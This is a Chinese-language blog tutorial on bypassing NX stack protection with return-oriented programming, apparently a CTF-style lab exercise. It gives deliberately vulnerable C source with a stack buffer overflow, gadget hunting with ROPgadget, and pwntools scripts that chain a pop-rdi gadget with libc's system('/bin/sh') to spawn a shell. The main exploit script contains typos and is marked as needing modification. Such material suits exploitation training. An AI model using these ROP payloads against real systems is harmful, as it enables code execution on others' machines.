美文网首页
NX防护机制绕过 ROP

NX防护机制绕过 ROP

作者: Zero_0_0 | 来源:发表于2018-10-24 17:17 被阅读0次

    什么是ROP

    *ROP(Return Oriented Programming)即面向返回地址编程,其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而改变程序的执行流程,达到预期利用目的。(一般这个gadgets是返回地址,只有返回地址是可以我们随意操作的!)

    源码

    #include <stdio.h>
    #include <string.h>
    
    int main()
    {
        puts("SO plz qive me your shellcode");
            char buffer[256];
            memset(buffer,0,256);
            read(0,buffer,256);    
            vul(buffer);
            return 0;
    
    }
    void vul(char *msg)
    {
        char buffer[64];
        memcpy(buffer,msg,128);
        return;
    
    }
    

    检查

    1.checksec pwnme 查看文件开启的安全防护机制

    图片.png
    2.我们知道文件开启了,栈不可执行,我们在打开一个命令窗口。输入ps -a 我们可以观察到 图片.png

    布局

    图片.png
    *我们需要知道这个gadgets这个小片段,然我们可以使用ROPgadget这个工具来查找 ROPgadget --binary pwnme |grep rdi 图片.png

    思路:我们将/bin/sh先传入rdi中,我们在调用system函数。实现了我们将/bin/sh传入systemsystem('/bin/sh')

    /bin/sh和system的查找到IDA中查找

    exp文件的编写 需要修改

    from pwn import *
    p = procces('./pwnme')
    p.recvuntil('shellcode')   #j接收字符串
    
    gedgetr_add = 0x0000000000401253
    libc_base = 0x00007ffff7dee000
    ##bin/sh和system的偏移地址
    bin_sh =  0x000000000017F573 
    system = 0x00000000000435D0
    ##off end
    bin_sh_off = libc_bace+bin_sh
    system_off = libc_bace +system
    ##布局填充数据
    paylod ='A'*72
    paylod += p64(gedgetr_add)
    paylod += p64(bin_sh_off)
    paylod += p64(system_off)
    
    with open('poc','wb') as f :
           f.write(paylod)
    
    p.sendline(paylod)
    p.interctive()
    
    
    
    

    添加知识点

    如何用脚本查找bin/sh和system

    from pwn import *
    p = process('./pwnme')
    p.recvuntil('shellcode')  
    
    elf = ELF('libc.so.6')
    
    system_in_libc = elf.symbols['system']
    
    bin_sh_in_libc = next(elf.search('/bin/sh'))
    
    
    libc_base = 0x00007ffff7dee000
    gadget_addr =  0x0000000000401243
    system_addr = libc_base + system_in_libc
    bin_sh_addr = libc_base + bin_sh_in_libc
    
    print hex(system_addr) +'----'+hex(bin_sh_addr)
    

    相关文章

      网友评论

          本文标题:NX防护机制绕过 ROP

          本文链接:https://www.haomeiwen.com/subject/iakxtqtx.html